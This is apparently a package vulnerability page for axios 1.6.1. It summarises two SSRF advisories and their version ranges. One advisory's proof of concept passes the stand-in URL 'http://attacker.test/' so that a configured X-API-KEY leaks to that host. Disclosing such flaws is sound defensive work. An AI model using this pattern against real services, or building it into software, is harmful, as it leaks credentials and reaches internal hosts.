NodeJS/axios/1.6.1


Promise based HTTP client for the browser and node.js

https://www.npmjs.com/package/axios
MIT

2 Security Vulnerabilities

Server-Side Request Forgery in axios

Published date: 2024-08-12T15:30:49Z
CVE: CVE-2024-39338
Links:

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

Affected versions: ["1.3.2", "1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.4.0", "1.5.0", "1.5.1", "1.6.0", "1.6.1", "1.6.2", "1.6.3", "1.6.4", "1.6.5", "1.6.6", "1.6.7", "1.6.8", "1.7.0-beta.0", "1.7.0-beta.1", "1.7.0-beta.2", "1.7.0", "1.7.1", "1.7.2", "1.7.3"]
Secure versions: [0.30.0, 1.0.0-alpha.1, 1.10.0, 1.8.2, 1.8.3, 1.8.4, 1.9.0]
Recommendation: Update to version 1.10.0.

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Published date: 2025-03-07T15:16:00Z
CVE: CVE-2025-27152
Links:

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Affected versions: ["0.1.0", "0.2.0", "0.2.2", "0.3.1", "0.2.1", "0.3.0", "0.5.0", "0.5.1", "0.5.2", "0.5.3", "0.5.4", "0.7.0", "0.8.0", "0.8.1", "0.10.0", "0.11.0", "0.12.0", "0.13.1", "0.14.0", "0.15.0", "0.15.2", "0.16.1", "0.16.2", "0.17.0", "0.17.1", "0.18.0", "0.19.0-beta.1", "0.19.0", "0.19.2", "0.21.0", "0.4.0", "0.4.1", "0.4.2", "0.6.0", "0.9.0", "0.9.1", "0.11.1", "0.13.0", "0.15.1", "0.15.3", "0.16.0", "0.18.1", "0.19.1", "0.20.0-0", "0.20.0", "0.21.1", "0.21.2", "0.21.3", "0.21.4", "0.22.0", "0.23.0", "0.24.0", "0.25.0", "0.26.0", "0.26.1", "0.27.0", "0.27.1", "0.27.2", "0.28.0", "0.28.1", "0.29.0", "1.0.0", "1.1.0", "1.1.1", "1.1.2", "1.1.3", "1.2.0-alpha.1", "1.2.0", "1.2.1", "1.2.2", "1.2.3", "1.2.4", "1.2.5", "1.2.6", "1.3.0", "1.3.1", "1.3.2", "1.3.3", "1.3.4", "1.3.5", "1.3.6", "1.4.0", "1.5.0", "1.5.1", "1.6.0", "1.6.1", "1.6.2", "1.6.3", "1.6.4", "1.6.5", "1.6.6", "1.6.7", "1.6.8", "1.7.0-beta.0", "1.7.0-beta.1", "1.7.0-beta.2", "1.7.0", "1.7.1", "1.7.2", "1.7.3", "1.7.4", "1.7.5", "1.7.6", "1.7.7", "1.7.8", "1.7.9", "1.8.0", "1.8.1"]
Secure versions: [0.30.0, 1.0.0-alpha.1, 1.10.0, 1.8.2, 1.8.3, 1.8.4, 1.9.0]
Recommendation: Update to version 1.10.0.

115 Other Versions

Version License Security Released
1.1.0 MIT 2 2022-10-06 - 19:19 over 2 years
1.0.0 MIT 2 2022-10-04 - 19:24 almost 3 years
1.0.0-alpha.1 MIT 2022-05-31 - 19:23 about 3 years
0.30.0 MIT 2025-03-26 - 17:55 3 months
0.29.0 MIT 1 2024-11-21 - 13:08 8 months
0.28.1 MIT 1 2024-03-28 - 17:36 over 1 year
0.28.0 MIT 1 2024-02-12 - 18:38 over 1 year
0.27.2 MIT 2 2022-04-27 - 10:00 about 3 years
0.27.1 MIT 2 2022-04-26 - 07:36 about 3 years
0.27.0 MIT 2 2022-04-25 - 16:42 about 3 years
0.26.1 MIT 2 2022-03-09 - 17:13 over 3 years
0.26.0 MIT 2 2022-02-13 - 14:22 over 3 years
0.25.0 MIT 2 2022-01-18 - 07:14 over 3 years
0.24.0 MIT 2 2021-10-25 - 17:51 over 3 years
0.23.0 MIT 2 2021-10-12 - 15:37 over 3 years
0.22.0 MIT 2 2021-10-01 - 05:54 almost 4 years
0.21.4 MIT 2 2021-09-06 - 15:35 almost 4 years
0.21.3 MIT 2 2021-09-04 - 19:05 almost 4 years
0.21.2 MIT 2 2021-09-04 - 10:18 almost 4 years
0.21.1 MIT 3 2020-12-22 - 04:20 over 4 years
0.21.0 MIT 4 2020-10-23 - 16:27 over 4 years
0.20.0 MIT 4 2020-08-21 - 03:12 almost 5 years
0.20.0-0 MIT 4 2020-07-15 - 16:07 almost 5 years
0.19.2 MIT 4 2020-01-22 - 04:25 over 5 years
0.19.1 MIT 4 2020-01-07 - 17:23 over 5 years
0.19.0 MIT 4 2019-05-30 - 16:13 about 6 years
0.19.0-beta.1 MIT 4 2018-08-09 - 18:44 almost 7 years
0.18.1 MIT 4 2019-06-01 - 00:46 about 6 years
0.18.0 MIT 5 2018-02-19 - 23:28 over 7 years
0.17.1 MIT 5 2017-11-11 - 23:24 over 7 years
0.17.0 MIT 5 2017-10-21 - 18:01 over 7 years
0.16.2 MIT 5 2017-06-03 - 19:29 about 8 years
0.16.1 MIT 5 2017-04-08 - 18:51 about 8 years
0.16.0 MIT 5 2017-04-01 - 02:31 over 8 years
0.15.3 MIT 5 2016-11-27 - 21:59 over 8 years
0.15.2 MIT 5 2016-10-18 - 01:33 over 8 years
0.15.1 MIT 5 2016-10-15 - 06:39 over 8 years
0.15.0 MIT 5 2016-10-11 - 04:40 over 8 years
0.14.0 MIT 5 2016-08-27 - 18:30 almost 9 years
0.13.1 MIT 5 2016-07-16 - 17:13 almost 9 years
0.13.0 MIT 5 2016-07-13 - 19:42 almost 9 years
0.12.0 MIT 5 2016-06-01 - 05:22 about 9 years
0.11.1 MIT 5 2016-05-17 - 15:59 about 9 years
0.11.0 MIT 5 2016-04-27 - 04:19 about 9 years
0.10.0 MIT 5 2016-04-21 - 04:52 about 9 years
0.9.1 MIT 5 2016-01-24 - 22:19 over 9 years
0.9.0 MIT 5 2016-01-18 - 18:19 over 9 years
0.8.1 MIT 5 2015-12-15 - 03:44 over 9 years
0.8.0 MIT 4 2015-12-11 - 19:09 over 9 years
0.7.0 MIT 4 2015-09-29 - 06:36 almost 10 years